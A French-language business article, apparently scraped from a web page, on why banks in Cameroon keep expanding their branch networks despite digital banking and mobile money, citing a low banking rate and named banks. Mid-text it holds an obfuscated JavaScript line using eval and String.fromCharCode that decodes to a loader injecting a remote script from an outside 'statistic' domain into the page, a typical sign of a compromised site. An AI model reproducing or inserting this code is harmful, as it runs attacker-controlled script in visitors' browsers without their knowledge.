Cameroun : comprendre le choix actuel d'extension du réseau d'agences bancaires

Malgré la prolifération des services digitaux de banques , du Mobile Money et l’avènement du code unique USSD pour l’accès hors aux services bancaires hors connexion, les banques du Cameroun continuent d’élargir leur réseau d’agence. La présente analyse nous amène à se poser des questions suivantes : qu’est-ce qui motive ce choix stratégique ? Quels sont les attentes particulières des consommateurs ? Le secteur de la banque demeure une vraie curiosité en matière de digitalisation. Alors que digitaliser pourrait impliquer moins d’agence, moins de contacts physiques. Ici, c’est le contraire que nous constatons, les banques leaders aussi bien que les juniors font la course à l’extension du réseau d’agence : Afriland First Bank, Société Générale Cameroun, BGFIBank Cameroun, United Bank of Africa Cameroon, Banque Atlantique... Ont chacune sur les six derniers mois étendu leur réseau sur le marché camerounais. Nous notons également l'arrivée récente de BANGE Bank sur le marché camerounais complétant ainsi à 17 le nombre d'acteurs de ce secteur d'activité. La digitalisation est une opportunité pour les banques au Cameroun et partout dans le monde. Toute fois, Les usages et par conséquent le consommateur doivent être le socle de tout revirement stratégique. Partant de ce postulat, la banque doit au moment de prendre la décision de réduire/étendre son réseau d’agences s’interroger sur l’impact sur l’expérience client et l’influence sur ses résultats financiers. Étant donner le taux de bancarisation au qui n'est que de 19% des 27 millions de camerounais, nous pouvons comprendre le choix stratégique des acteurs de ce secteur qui privilégient l'ouverture de nouvelles agences afin de copter les clients, qui sont pour la plupart, réfractaires aux évolutions et innovations technologiques de leur environnement. Ainsi, les agences physiques au Cameroun sont une épine pour l’expérience des utilisateurs : les files interminables, les gestionnaires clientèles impertinents... La digitalisation permet de réduire les coûts de fonctionnement de la banque et juguler les tracasseries liées aux petites opérations pour se concentrer sur les gros clients à plus grande valeur ajoutée tout en ne perdant pas un sou lié aux opérations courantes. var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Cameroun : comprendre le choix actuel d’extension du réseau d’agences bancaires

Comment comprendre le paradoxe d’ouverture de nouvelles agences par les acteurs du secteur bancaire à l’aire de la digitalisation des services de banque au Cameroun ?

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